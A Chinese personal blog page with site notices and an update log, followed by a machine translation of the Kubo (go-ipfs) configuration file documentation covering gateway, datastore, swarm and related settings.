另外,访问本站主域名及其子域名TLS最低要求为TLS1.3且(在有服务器的域名中)至少为http2以上版本进行HTTPS连接.不满足则拒绝建立连接.建议更新浏览器或设备. 关于”用户访问博客永远可用”说明: 如果你曾访问过本站,那么即使主站无法访问或被打死了,依然不影响你的访问. 而且访问速度不会有明显影响.本站的镜像站巨多.绝对打不死. (别真有人打啊,我一个静态博客,打我又没价值,除非你是SB,脑壳有包.顺便嘲笑一下,DDOS最没技术含量了😅.Whatever,U ARE SB.) 假设你即使打死了阿里OSS,各大CDN等等. 那你确实牛逼,我的新用户已经无法访问了.但是!老用户依然照样用,基本没影响.哈哈.🤣 2023年3月5日 星期日 (指的是chatgpt)深度优化部分JS,关于GPU占用高,修不来,复杂了,修复了部分javascript代码逻辑,然后整了个微黑名单(前端,除了对小白有点用,但实际上,我觉得没吊用的,后移除),更新了部分JS文件. 2023年4月2日 星期日 本次博客主题更新幅度极大. 删除了博客中不必要的js,css等文件,减少体积. 移除了live2d,移除了较多不必要的美化(看起来更像原生了),提高了主题性能. 将主题版本更新至最新版,并解耦部分与源代码紧密联系的美化代码,方便后续更新.

2023/8/15
articleCard.readMore

(机翻)Kubo配置文件

下面内容来自机翻,仅供参考. 原文档:链接🔗 Kubo 配置文件 Kubo (go-ipfs) 配置文件是一个 JSON 文档,位于“$IPFS_PATH/config”。它 在节点实例化时读取一次,无论是对于离线命令,还是在 启动守护进程。在正在运行的守护进程上执行的命令不会读取 运行时的配置文件。 目录 Kubo 配置文件 目录 个人资料 类型 标志 优先级 字符串 持续时间 可选整数 可选字节 可选字符串 可选持续时间 地址 Addresses.API 地址.网关 Addresses.Swarm Addresses.Announce Addresses.AppendAnnounce Addresses.NoAnnounce API API.HTTPHeaders AutoNAT AutoNAT.ServiceMode AutoNAT.Throttle AutoNAT.Throttle.GlobalLimit AutoNAT.Throttle.PeerLimit AutoNAT.Throttle.Interval 引导程序 数据存储 Datastore.StorageMax Datastore.StorageGCWatermark Datastore.GCPeriod Datastore.HashOnRead Datastore.BloomFilterSize Datastore.Spec 发现 Discovery.MDNS Discovery.MDNS.Enabled Discovery.MDNS.Interval 实验性 网关 Gateway.NoFetch Gateway.NoDNSLink Gateway.DeserializedResponses Gateway.HTTPHeaders Gateway.RootRedirect Gateway.FastDirIndexThreshold Gateway.Writable Gateway.PathPrefixes Gateway.PublicGateways Gateway.PublicGateways:路径 Gateway.PublicGateways:UseSubdomains Gateway.PublicGateways:NoDNSLink Gateway.PublicGateways:InlineDNSLink Gateway.PublicGateways:反序列化响应 Gateway.PublicGateways的隐式默认值 Gateway 食谱 身份 Identity.PeerID Identity.PrivKey 内部 内部.Bitswap Internal.Bitswap.TaskWorkerCount Internal.Bitswap.EngineBlockstoreWorkerCount Internal.Bitswap.EngineTaskWorkerCount Internal.Bitswap.MaxOutstandingBytesPerPeer Internal.Bitswap.ProviderSearchDelay Internal.UnixFSShardingSizeThreshold Ipns Ipns.RepublishPeriod Ipns.RecordLifetime Ipns.ResolveCacheSize Ipns.UsePubsub 迁移 Migration.DownloadSources 迁移.Keep 坐骑 挂载.IPFS Mounts.IPNS Mounts.FuseAllowOther 固定 Pinning.RemoteServices Pinning.RemoteServices:API Pinning.RemoteServices:API.Endpoint Pinning.RemoteServices:API.Key Pinning.RemoteServices:策略 Pinning.RemoteServices:策略.MFS Pinning.RemoteServices:Policies.MFS.Enabled Pinning.RemoteServices:Policies.MFS.PinName Pinning.RemoteServices:Policies.MFS.RepinInterval Pubsub Pubsub.Enabled Pubsub.Router Pubsub.DisableSigning Pubsub.SeenMessagesTTL Pubsub.SeenMessagesStrategy 对等互连 Peering.Peers 重新提供者 Reprovider.Interval Reprovider.Strategy 路由 路由类型 Routing.AcceleratedDHTClient 路由.路由器 路由.路由器:类型 Routing.Routers:参数 路由:方法 群 Swarm.AddrFilters Swarm.DisableBandwidthMetrics Swarm.DisableNatPortMap Swarm.EnableHolePunching Swarm.EnableAutoRelay Swarm.RelayClient Swarm.RelayClient.Enabled Swarm.RelayClient.StaticRelays Swarm.RelayService Swarm.RelayService.Enabled Swarm.RelayService.Limit Swarm.RelayService.ConnectionDurationLimit Swarm.RelayService.ConnectionDataLimit Swarm.RelayService.ReservationTTL Swarm.RelayService.MaxReservations Swarm.RelayService.MaxCircuits Swarm.RelayService.BufferSize Swarm.RelayService.MaxReservationsPerPeer Swarm.RelayService.MaxReservationsPerIP Swarm.RelayService.MaxReservationsPerASN Swarm.EnableRelayHop Swarm.DisableRelay Swarm.EnableAutoNATService Swarm.ConnMgr Swarm.ConnMgr.Type 基本连接管理器 Swarm.ConnMgr.LowWater Swarm.ConnMgr.HighWater Swarm.ConnMgr.GracePeriod Swarm.ResourceMgr Swarm.ResourceMgr.Enabled Swarm.ResourceMgr.MaxMemory Swarm.ResourceMgr.MaxFileDescriptors Swarm.ResourceMgr.Allowlist Swarm.Transports Swarm.Transports.Network Swarm.Transports.Network.TCP Swarm.Transports.Network.Websocket Swarm.Transports.Network.QUIC Swarm.Transports.Network.Relay Swarm.Transports.Network.WebTransport Swarm.Transports.Security Swarm.Transports.Security.TLS Swarm.Transports.Security.SECIO Swarm.Transports.Security.Noise [Swarm.Transports.Multiplexers](#swarmtransports Multiplexers) [Swarm.Transports.Multiplexers.Yamux](#swarmtransports Multiplexersyamux) [Swarm.Transports.Multiplexers.Mplex](#swarmtransports Multiplexersmplex) DNS DNS.Resolvers DNS.MaxCacheTTL 个人资料 配置配置文件允许快速调整配置。配置文件可以是 使用“–profile”标志应用于“ipfs init”或“ipfs 配置文件” 应用`命令。应用配置文件时,配置文件的备份 将在“$IPFS_PATH”中创建。 下面列出了可用的配置文件。你也可以找到他们 记录在“ipfs 配置文件 –help”中。 服务器 禁用本地主机发现,建议在以下情况使用 在具有公共 IPv4 地址的计算机上运行 IPFS。 随机端口 对传入的集群连接使用随机端口号。 默认数据存储 将节点配置为使用默认数据存储 (flatfs)。 有关此数据存储的更多信息,请阅读“flatfs”配置文件说明。 该配置文件只能在首次初始化节点时应用。 本地发现 启用本地发现(默认启用)。对于在发现后重新启用本地发现很有用 被另一个配置文件(例如服务器配置文件)禁用。 测试 减少IPFS守护进程的外部干扰,这 在测试环境中使用守护进程时非常有用。 默认网络 恢复默认网络设置。 测试轮廓的反向轮廓。 Flatfs 配置节点以使用 flatfs 数据存储。Flatfs 是默认数据存储。 这是最久经考验且最可靠的数据存储。 如果出现以下情况,您应该使用此数据存储: 您需要一个非常简单且非常可靠的数据存储,并且您信任您的 文件系统。该数据存储将每个块存储为单独的文件 底层文件系统,因此除非出现问题,否则不太可能丢失数据 与底层文件系统。 您需要以尽快回收可用空间的方式运行垃圾收集。 您想要最小化内存使用。 您可以接受默认的数据导入速度,或者更喜欢使用“–nocopy”。 该配置文件只能在首次初始化节点时应用。 -獾 配置节点以使用实验性 badger 数据存储。请记住,这 使用过时的 badger 1.x。 如果性能的某些方面,请使用此数据存储, 尤其是添加许多 GB 文件的速度至关重要。但是,请注意: 当您的数据存储被占用时,该数据存储将无法正确回收空间 小于几千兆字节。如果您使用“–enable-gc”运行 IPFS,您计划在其中存储很少的数据 您的 IPFS 节点,并且磁盘使用比性能更重要,请考虑使用 flatfs。 此数据存储最多使用几 GB 内存。 适用于中型数据存储,但如果您的数据集大于 1 TB,则可能会遇到性能问题。 当前的实现基于旧的 badger 1.x,上游团队不再支持该版本。 该配置文件只能在首次初始化节点时应用。 低功耗 减少系统上的守护进程开销。影响节点 功能 - 内容发现和数据的性能 抓取可能会降级。本地数据不会在 DHT 等路由系统上公布。 Swarm.ConnMgr 设置为一次维持最小数量的 p2p 连接。 禁用 Reprovider 服务 → DHT 和其他路由系统上不会公布 CID(!) 禁用自动NAT。 请谨慎使用此配置文件。 类型 本文档引用了标准 JSON 类型(例如,“null”、“string”、 number 等),以及一些自定义类型,如下所述。 标志 标志允许启用和禁用功能。然而,与简单的布尔值不同, 它们也可以是“null”(或省略)以指示默认值应该 被选择。这使得 Kubo 更容易更改默认值 未来,除非用户明确地将标志设置为“true”(启用)或 “假”(禁用)。标志具有三种可能的状态: null 或缺失(应用默认值)。 true(启用) -“假”(禁用) 优先级 优先级允许指定功能/协议的优先级并禁用 功能/协议。优先级可以采用以下值之一: null/missing(应用默认优先级,与标志相同) -“假”(禁用) 1 - 2^63(优先级,越低越好) 字符串 字符串是一种特殊类型,可以方便地指定单个字符串、数组 字符串,或 null: 空 “单个字符串” [“an”、“数组”、“of”、“字符串”] 持续时间 Duration 是一种描述时间长度的类型,使用与 go 相同的格式 是(例如“1d2h4m40.01s”)。 可选整数 可选整数允许指定一些数值 配置文件中缺少时的隐式默认值: null/missing 将应用 Kubo 源中定义的默认值 (.WithDefault(value)) -2^63 和 2^63-1 之间的整数(即 -9223372036854775808 到 9223372036854775807) 可选字节 可选字节允许指定一些字节数 配置文件中缺少时的隐式默认值: null/missing(应用 Kubo 源代码中定义的默认值) 指示字节数的字符串值,包括人类可读的表示形式: SI 大小(公制单位,1000 的幂),例如 1B、2kB、3MB、4GB、5TB ,……) IEC 大小(二进制单位,1024 的幂),例如 1B、2KiB、3MiB、4GiB、5TiB ,……) 可选字符串 可选字符串允许指定一些字符串值 配置文件中缺少时的隐式默认值: null/missing 将应用 Kubo 源中定义的默认值 (.WithDefault("value")) 一个字符串 可选持续时间 可选的持续时间允许指定一些持续时间值 配置文件中缺少时的隐式默认值: null/missing 将应用 Kubo 源中定义的默认值 (.WithDefault("1h2m3s")) 具有有效 go 持续时间 的字符串(例如“1d2h4m40.01s”)。 地址 包含有关此节点要使用的各种侦听器地址的信息。 地址.API Multiaddr 或多地址数组,描述服务本地 HTTP 的地址 API 开启。 支持的运输: tcp/ip{4,6} - /ipN/.../tcp/... unix - /unix/path/to/socket 默认值:/ip4/127.0.0.1/tcp/5001 类型:“字符串”(多地址) 地址.网关 多地址或多地址数组描述服务于本地的地址 网关打开。 支持的运输: tcp/ip{4,6} - /ipN/.../tcp/... unix - /unix/path/to/socket 默认值:/ip4/127.0.0.1/tcp/8080 类型:“字符串”(多地址) 地址.Swarm 描述要侦听 p2p 群的地址的 multiaddrs 数组 连接。 支持的运输: tcp/ip{4,6} - /ipN/.../tcp/... websocket - /ipN/.../tcp/.../ws quic (Draft-29) - /ipN/.../udp/.../quic - 可以与 /quic-v1 和 /quic-v1/webtransport 共享相同的两个元组 quicv1 (RFC9000) - /ipN/.../udp/.../quic-v1 - 可以与 /quic 和 /quic-v1/webtransport 共享相同的两个元组 webtransport /ipN/.../udp/.../quic-v1/webtransport - 可以与 /quic 和 /quic-v1 共享相同的两个元组 默认: 1 2 3 4 5 6 7 8 9 10 [ “/ip4/0.0.0.0/tcp/4001”, “/ip6/::/tcp/4001”, “/ip4/0.0.0.0/udp/4001/quic”, “/ip4/0.0.0.0/udp/4001/quic-v1”, “/ip4/0.0.0.0/udp/4001/quic-v1/webtransport”, “/ip6/::/udp/4001/quic”, “/ip6/::/udp/4001/quic-v1”, “/ip6/::/udp/4001/quic-v1/webtransport” ] 类型:数组[字符串](多地址) 地址.公告 如果非空,则此数组指定要向 网络。如果为空,守护进程将宣布推断的群地址。 默认值:[] 类型:数组[字符串](多地址) 地址.AppendAnnounce 与 Addresses.Announce 类似,只是这不 如果非空,则覆盖推断的群地址。 默认值:[] 类型:数组[字符串](多地址) 地址.NoAnnounce 不向网络公布的群地址数组。 优先于“Addresses.Announce”和“Addresses.AppendAnnounce”。 默认值:[] 类型:数组[字符串](多地址) API 包含 API 网关使用的信息。 API.HTTPHeaders 要在来自 API HTTP 服务器的响应上设置的 HTTP 标头映射。 例子: 1 2 3 { “Foo”:[“酒吧”] } 默认值:null 类型:object[string -> array[string]](标头名称 -> 标头值数组) 自动NAT 包含 AutoNAT 服务的配置选项。自动网络地址转换服务 帮助网络上的其他节点确定它们是否可以公开访问 互联网的其余部分。 AutoNAT.ServiceMode 未设置(默认)时,AutoNAT 服务默认为_启用_。否则,这 字段可以采用两个值之一: *“启用”-启用服务(除非节点确定它本身, 无法通过公共互联网访问)。 *“已禁用”- 禁用该服务。 将来可能会添加其他模式。 类型:string("enabled" 或 "disabled" 之一) AutoNAT.Throttle 设置后,此选项将配置 AutoNAT 服务限制行为。经过 默认情况下,Kubo 将对其他设备执行 NAT 检查的次数进行速率限制 节点数增加到每分钟 30 个,每个对等点 3 个。 AutoNAT.Throttle.GlobalLimit 配置每个“AutoNAT.Throttle.Interval”要服务的 AutoNAT 请求数。 默认值:30 类型:integer(非负数,0表示无限制) AutoNAT.Throttle.PeerLimit 配置每个“AutoNAT.Throttle.Interval”为每个对等点提供服务的 AutoNAT 请求数。 默认值:3 类型:integer(非负数,0表示无限制) AutoNAT.Throttle.Interval 配置上述限制的时间间隔。 默认值:1 分钟 类型:duration(当0/未设置时,使用默认值) 引导程序 Bootstrap 是您的节点连接到的受信任节点的多地址数组,用于在启动时获取网络的其他节点。 默认值:ipfs.io 引导节点 类型:数组[字符串](多地址) 数据存储 包含与磁盘上的构建和操作相关的信息 存储系统。 数据存储.StorageMax ipfs 存储库数据存储大小的软上限。使用“StorageGCWatermark”, 用于计算是否触发 gc 运行(仅当设置了 --enable-gc 标志时)。 默认值:“10GB” 类型:字符串(大小) 数据存储.StorageGCWatermark 垃圾回收将占“StorageMax”值的百分比 如果守护进程在启用自动 gc 的情况下运行(即 当前选项默认为 false)。 默认值:90 类型:整数 (0-100%) 数据存储.GCPeriod 指定运行垃圾收集的频率的持续时间。仅使用过 如果启用自动GC。 默认值:1h 类型:duration(空字符串表示默认值) 数据存储.HashOnRead 一个布尔值。如果设置为 true,则所有从磁盘读取的块都将被散列并 已验证。这将导致 CPU 利用率增加。 默认值:“假” 类型:布尔 数据存储.BloomFilterSize 一个数字,表示块存储的 [bloom] 的大小(以字节为单位) 过滤器](https://en.wikipedia.org/wiki/Bloom_filter)。零值代表 该功能已禁用。 该站点为各种布隆过滤器值生成有用的图表: https://hur.st/bloomfilter/?n=1e6&p=0.01&m=&k=7 您可以使用它来查找 首选最佳值,其中“m”是以位为单位的“BloomFilterSize”。记得 将值“m”从位转换为字节,以用作中的“BloomFilterSize” 配置文件。例如,对于 1,000,000 个区块,预计误报率为 1% 率,最终过滤器大小为 9592955 位,因此对于“BloomFilterSize” 我们想要使用 1199120 字节。截至撰写本文时,7 哈希 函数 ,所以式中常数“k”为7。 默认值:“0”(禁用) 类型:integer(非负,字节) 数据存储.Spec Spec 定义了 ipfs 数据存储的结构。它是一个可组合的结构, 其中每个数据存储都由一个 json 对象表示。数据存储可以包装其他 数据存储提供额外的功能(例如指标、日志记录或缓存)。 这可以手动更改,但是,如果您进行任何需要更改的更改 不同的磁盘结构,您将需要运行 ipfs-ds-convert 工具 将数据迁移到新的 结构。 有关此配置选项的可能值的更多信息,请参阅 文档/数据存储.md 默认: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { “坐骑”:[ { “孩子”: { “路径”:“块”, "shardFunc": "/repo/flatfs/shard/v1/倒数第二个/2", “同步”:真, “类型”:“Flatfs” }, “挂载点”:“/块”, "前缀": "flatfs.datastore", “类型”:“测量” }, { “孩子”: { “压缩”:“无”, “路径”:“数据存储”, “类型”:“级别” }, “挂载点”:“/”, "prefix": "leveldb.datastore", “类型”:“测量” } ], “类型”:“安装” } 类型:对象 发现 包含用于配置 IPFS 节点发现机制的选项。 Discovery.MDNS ZeroConf 多播 DNS-SD 对等发现选项。 Discovery.MDNS.Enabled 一个布尔值,表示多播 DNS-SD 是否应处于活动状态。 默认值:true 类型:布尔 Discovery.MDNS.Interval 已删除: 这不再可配置 在新的 mDNS 实现 中。 实验 切换和配置 Kubo 的实验性功能。此处 列出了实验功能。 网关 HTTP 网关的选项。 Gateway.NoFetch 当设置为 true 时,网关将仅提供本地存储库中已有的内容 并且不会从网络获取文件。 默认值:“假” 类型:布尔 网关.NoDNSLink 一个布尔值,用于配置 DNSLink 是否在“Host” HTTP 标头中查找值 应该执行。如果存在 DNSLink,则存储在 DNS TXT 中的内容路径 记录变为“/”,并将相应的有效负载返回给客户端。 默认值:“假” 类型:布尔 Gateway.DeserializedResponses 用于显式配置此网关是否响应反序列化的可选标志 要求,或不要求。默认情况下,它是启用的。禁用此选项时,网关 仅作为无信任网关运行:https://specs.ipfs.tech/http-gateways/trustless-gateway/。 默认值:true 类型:标志 Gateway.HTTPHeaders 在网关响应上设置的标头。 默认值:“{}”+来自“boxo/gateway#AddAccessControlHeaders”和 ipfs/specs#423 的隐式 CORS 标头 类型:对象[字符串 -> 数组[字符串]] Gateway.RootRedirect 将 / 请求重定向到的 url。 默认值:"" 类型:字符串(网址) Gateway.FastDirIndexThreshold 已删除:此选项不再需要。自 Kubo 0.18 起被忽略。 网关.可写 已删除:此选项从 Kubo 0.20 起不再可用。 我们正在努力开发一种现代替代品。为了支持我们的努力,请在 ipfs/specs#375 中留下描述您的用例的评论。 Gateway.PathPrefixes 已删除: 请参阅 go-ipfs#7702 网关.公共网关 PublicGateways 是一个字典,用于定义指定主机名上的网关行为。 可以选择使用一个或多个通配符来定义主机名。 例子: *.example.com 将匹配对 http://foo.example.com/ipfs/* 或 http://{cid}.ipfs.bar.example.com/* 的请求。 foo-*.example.com 将匹配对 http://foo-bar.example.com/ipfs/* 或 http://{cid}.ipfs.foo-xyz.example.com 的请求/*。 Gateway.PublicGateways:路径 应在主机名上公开的路径数组。 例子: 1 2 3 4 5 6 7 8 9 { “网关”:{ “公共网关”:{ “example.com”:{ “路径”:[“/ ipfs”,“/ ipns”], } } } } 上面启用了“http://example.com/ipfs/*”和“http://example.com/ipns/*”,但不启用“http://example.com/api/*” 默认值:[] 类型:数组[字符串] Gateway.PublicGateways:UseSubdomains 一个布尔值,用于配置主机名处的网关是否提供源隔离 内容根之间。 true - 在http://*.{hostname}/启用[子域网关](https://docs.ipfs.tech/how-to/address-ipfs-on-web/#subdomain-gateway) 需要白名单: 确保设置相应的“路径”。 例如,http://{cid}.ipfs.{hostname} 和 http://{foo}.ipns.{hostname} 需要 Paths: [“/ipfs”, “/ipns”] } 工作: 1 2 3 4 5 6 7 8 “网关”:{ “公共网关”:{ “dweb.link”:{ “UseSubdomains”:true, “路径”:[“/ ipfs”,“/ ipns”], } } } **向后兼容:**对内容路径(例如“http://{hostname}/ipfs/{cid}”)的请求会产生重定向到“http://{cid}.ipfs.{hostname}” API: 如果“/api”位于“Paths”白名单中,则“http://{hostname}/api/{cmd}”会生成重定向到“http://api.{hostname}/api” /{cmd}` false - 在http://{hostname}/*启用路径网关 例子: 1 2 3 4 5 6 7 8 “网关”:{ “公共网关”:{ “ipfs.io”:{ “UseSubdomains”:假, “路径”:[“/ ipfs”,“/ ipns”,“/ api”], } } } 默认值:“假” 类型:布尔 Gateway.PublicGateways:NoDNSLink 一个布尔值,用于配置主机名的 DNSLink 是否存在于“Host”中 应解析 HTTP 标头。覆盖全局设置。 如果定义了“Paths”,它们优先于 DNSLink。 默认值:“false”(默认情况下为每个定义的主机名启用 DNSLink 查找) 类型:布尔 Gateway.PublicGateways:InlineDNSLink 用于显式配置子域网关是否重定向的可选标志 (由 UseSubdomains: true 启用)应始终内联 DNSLink 名称 (FQDN) 到单个 DNS 标签中: 1 //example.com/ipns/example.net → HTTP 301 → //example-net.ipns.example.com DNSLink 名称内联允许在公共子域网关上使用 HTTPS 标签通配符 TLS 证书(在传递 X-Forwarded-Proto: https 时也启用), 当特殊规则如 https://publicsuffix.org,或 Brave 等浏览器中的自定义本地主机逻辑 必须应用。 默认值:“假” 类型:标志 Gateway.PublicGateways:反序列化响应 用于显式配置此网关是否响应反序列化的可选标志 要求,或不要求。默认情况下,它是启用的。禁用此选项时,网关 仅作为无信任网关运行:https://specs.ipfs.tech/http-gateways/trustless-gateway/。 默认值:与全局 Gateway.DeserializedResponses 相同 类型:标志 Gateway.PublicGateways 的隐式默认值 localhost 主机名和环回 IP 的默认条目始终存在。 如果为这些主机名提供了附加配置,它将合并到隐式值之上: 1 2 3 4 5 6 7 8 9 10 { “网关”:{ “公共网关”:{ “本地主机”:{ “路径”:[“/ ipfs”,“/ ipns”], “使用子域名”:true } } } } 也可以通过将默认值设置为“null”来删除默认值。 例如,禁用“localhost”上的子域网关 并使该主机名的行为与“127.0.0.1”相同: ``控制台 $ ipfs config –json Gateway.PublicGateways ‘{“localhost”: null }’ 1 2 3 4 5 6 7 8 9 10 11 12 13 ### `网关`食谱 以下是最常见的公共网关设置的列表。 * 公共[子域网关](https://docs.ipfs.tech/how-to/address-ipfs-on-web/#subdomain-gateway)位于`http://{cid}.ipfs.dweb.link` (每个内容根都有自己的起源) ``控制台 $ ipfs config --json Gateway.PublicGateways '{ “dweb.link”:{ “UseSubdomains”:true, “路径”:[“/ipfs”,“/ipns”] } }' **向后兼容:**此功能可以自动从内容路径重定向到子域: http://dweb.link/ipfs/{cid} → http://{cid}.ipfs.dweb.link X-Forwarded-Proto: 如果您在提供 TLS 的反向代理后面运行 Kubo,请使其添加“X-Forwarded-Proto:https” HTTP 标头,以确保用户重定向到“https://” ,而不是“http://”。它还将确保 DNSLink 名称内联以适合单个 DNS 标签,因此它们可以与通配符 TLS 证书一起正常工作(详细信息 )。NGINX 指令是 proxy_set_header X-Forwarded-Proto "https";。: http://dweb.link/ipfs/{cid} → https://{cid}.ipfs.dweb.link http://dweb.link/ipns/your-dnslink.site.example.com → https://your--dnslink-site-example-com.ipfs.dweb.link X-Forwarded-Host: 如果您想覆盖原始请求中的子域网关主机,我们还支持 X-Forwarded-Host: example.com: http://dweb.link/ipfs/{cid} → http://{cid}.ipfs.example.com 公共路径网关位于http://ipfs.io/ipfs/{cid} (无原点分离) ``控制台 $ ipfs config –json Gateway.PublicGateways ‘{ “ipfs.io”:{ “UseSubdomains”:假, “路径”:[“/ipfs”、“/ipns”、“/api”] } }’ 1 2 3 4 * 公共 [DNSLink](https://dnslink.io/) 网关解析“Host”标头中传递的每个主机名。 ``控制台 $ ipfs config --json Gateway.NoDNSLink false 请注意,“NoDNSLink: false”是默认值(除非手动设置为“true”,否则它开箱即用) 强化的、特定于站点的 DNSLink 网关。 禁用远程数据获取(“NoFetch: true”)和解析未知主机名的 DNSLink(“NoDNSLink: true”)。 然后,仅针对特定主机名(其数据 已经存在于节点上),而不暴露任何内容寻址“路径”: ``控制台 $ ipfs config –json Gateway.NoFetch true $ ipfs config –json Gateway.NoDNSLink true $ ipfs config –json Gateway.PublicGateways ‘{ “en.wikipedia-on-ipfs.org”:{ “NoDNSLink”:假, “路径”:[] } }’ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 ## `身份` ### `Identity.PeerID` 此配置对等点的唯一 PKI 身份标签。设置在 init 上并且从不读取, 在这里只是为了方便。ipfs 将始终从其生成对等点 ID 运行时的密钥对。 类型:`string`(对等 ID) ### `Identity.PrivKey` Base64 编码的 protobuf 描述(并包含)节点的私钥。 类型:“字符串”(base64 编码) ## `内部` 本部分包括各种子系统的内部旋钮,允许拥有大型或私有基础设施的高级用户微调某些行为,而无需重新编译 Kubo。 **请注意,在此处进行明智的更改需要深入的知识,大多数用户应保持这些不变。此处列出的所有旋钮在版本之间都会发生重大变化。** ### `内部.Bitswap` “Internal.Bitswap”包含用于调整 Bitswap 资源利用率的旋钮。 旋钮(如下)记录了它们的值应如何相互关联。 应确定是否应提高或降低其值 基于指标“ipfs_bitswap_active_tasks”、“ipfs_bitswap_pending_tasks”, `ipfs_bitswap_pending_block_tasks` 和 `ipfs_bitswap_active_block_tasks` 由 Bitswap 报道。 这些指标可以作为 Prometheus 端点在“{Addresses.API}/debug/metrics/prometheus”进行访问(默认值:“http://127.0.0.1:5001/debug/metrics/prometheus”) “ipfs_bitswap_active_tasks”的值由“EngineTaskWorkerCount”限制。 `ipfs_bitswap_pending_tasks` 的值通常由下面的旋钮限制, 然而,它的确切最大值很难预测,因为它取决于任务大小 以及发出请求的同行数量。然而,根据经验, 在健康运行期间,该值应围绕“典型”低值振荡 (不会连续达到平台期)。 如果“ipfs_bitswap_pending_tasks”正在增长,而“ipfs_bitswap_active_tasks”达到最大值,则 该节点已达到其资源限制,新请求进入后无法尽快得到处理。 假设硬件可以支持新的限制,提高资源限制(使用下面的旋钮)可能会有所帮助。 “ipfs_bitswap_active_block_tasks”的值由“EngineBlockstoreWorkerCount”限制。 “ipfs_bitswap_pending_block_tasks”的值间接受到“ipfs_bitswap_active_tasks”的限制,但可能很难 预测,因为它取决于对等任务中涉及的块的数量,该数量可能会有所不同。 如果观察到“ipfs_bitswap_pending_block_tasks”的值增长, 当“ipfs_bitswap_active_block_tasks”达到最大值时,有迹象表明 可用的块任务正在造成瓶颈(由于高延迟块操作, 或者由于每个位交换对等任务的块操作数量较多)。 在这种情况下,请尝试增加“EngineBlockstoreWorkerCount”。 如果此调整仍然没有增加节点的吞吐量,则可能有 是 I/O 或 CPU 等硬件限制。 #### `Internal.Bitswap.TaskWorkerCount` 发送传出消息的线程(goroutine)数量。 限制并发发送操作的数量。 类型:`optionInteger`(线程数,`null` 表示默认为 8) #### `Internal.Bitswap.EngineBlockstoreWorkerCount` 块存储操作的线程数。 用于限制对块存储的并发请求数量。 最佳值可以通过指标“ipfs_bitswap_pending_block_tasks”和“ipfs_bitswap_active_block_tasks”得知。 该数字取决于您的硬件(I/O 和 CPU)。 类型:`optionInteger`(线程数,`null` 表示默认为 128) #### `Internal.Bitswap.EngineTaskWorkerCount` 用于在发送响应之前准备和打包响应的工作线程数。 该数字通常应等于“TaskWorkerCount”。 类型:`optionInteger`(线程数,`null` 表示默认为 8) #### `Internal.Bitswap.MaxOutstandingBytesPerPeer` 等待处理并发送到任何单个对等点的最大字节数(跨所有任务)。 这个数字控制公平性,可以从 250Kb(非常公平)到 10Mb(不太公平,需要更多工作)变化 献给有更多要求的同行)。低于 250Kb 的值可能会导致抖动。 超过 10Mb 的值可能会导致积极想要的对等方消耗所有资源并 降低向需求不那么积极的同行提供的质量。 类型:“可选整数”(字节数,“null”表示默认值,即 1MB) ### `Internal.Bitswap.ProviderSearchDelay` 此参数确定在查找 bitswap 之外的提供程序之前等待多长时间。 其他路由系统(例如 DHT)能够在不到一秒的时间内提供结果,因此降低了 在某些情况下,这个数字将允许更快的对等点查找。 类型:“可选持续时间”(“null”表示默认值,即 1 秒) ### `Internal.UnixFSShardingSizeThreshold` 内部使用分片阈值来决定 UnixFS 目录是否应该分片。 该值与 UnixFS 目录块的大小以及任何增加并不严格相关 阈值应注意块大小保持在 2MiB 以下,以便它们 可通过网络堆栈可靠地传输(公共群上的 IPFS 对等点往往会忽略大于 2MiB 的块的请求)。 将此值减少到 1B 在功能上等同于之前的实验性分片选项 分片所有目录。 类型:“可选字节”(“null”表示默认值,即 256KiB) ## `IPNS` ### `Ipns.RepublishPeriod` 指定重新发布 ipns 记录的频率的持续时间,以确保 他们在网络上保持新鲜感。 默认值:4 小时。 输入:“interval”或默认为空字符串。 ### `Ipns.RecordLifetime` 指定要在 ipns 记录上设置的值以确保其有效性的持续时间 寿命。 默认值:24 小时。 输入:“interval”或默认为空字符串。 ### `Ipns.ResolveCacheSize` 存储在已解析 ipns 条目的 LRU 缓存中的条目数。参赛作品 将被保存在缓存中,直到其生命周期到期。 默认值:`128` 类型:`integer`(非负数,0表示默认) ### `Ipns.UsePubsub` 启用 IPFS over pubsub 实验以实时发布 IPNS 记录。 **实验:** 在 [experimental-features.md#ipns-pubsub](./experimental-features.md#ipns-pubsub) 中了解当前限制。 默认值:`禁用` 类型:`标志` ## `迁移` 迁移配置如何下载迁移以及是否将下载添加到本地 IPFS。 ### `迁移.DownloadSources` 来源按优先顺序排列,其中“IPFS”表示使用 IPFS,“HTTPS”表示使用默认网关。任何其他值都被解释为自定义网关的主机名。空列表意味着“使用默认源”。 默认值:`[“HTTPS”,“IPFS”]` ### `迁移.保留` 指定下载后是否保留迁移。选项有“丢弃”、“缓存”、“固定”。默认为空字符串。 默认值:`缓存` ## `坐骑` **实验:** 在 [fuse.md](./fuse.md) 中了解当前限制。 FUSE 安装点配置选项。 ### `挂载.IPFS` `/ipfs/` 的挂载点。 默认值:`/ipfs` 类型:`string`(文件系统路径) ### `坐骑.IPNS` `/ipns/` 的挂载点。 默认值:`/ipns` 类型:`string`(文件系统路径) ### `Mounts.FuseAllowOther` 在安装点上设置“FUSE 允许其他”选项。 ## `固定` 固定配置可用于固定内容的选项 (即长期保存内容而不是临时缓存存储)。 ### `固定.RemoteServices` `RemoteServices` 将远程固定服务的名称映射到其配置。 远程固定服务是公开用于管理的 API 的远程服务 该服务对长期数据存储的兴趣。 公开的 API 符合以下定义的规范 https://ipfs.github.io/pinning-services-api-spec/ #### `固定.RemoteServices:API` 包含与使用远程固定服务相关的信息 例子: ```json { “固定”:{ “远程服务”:{ “myPinningService”:{ “API”:{ “端点”:“https://pinningservice.tld:1234/my/api/path”, “密钥”:“一些不透明密钥” } } } } } 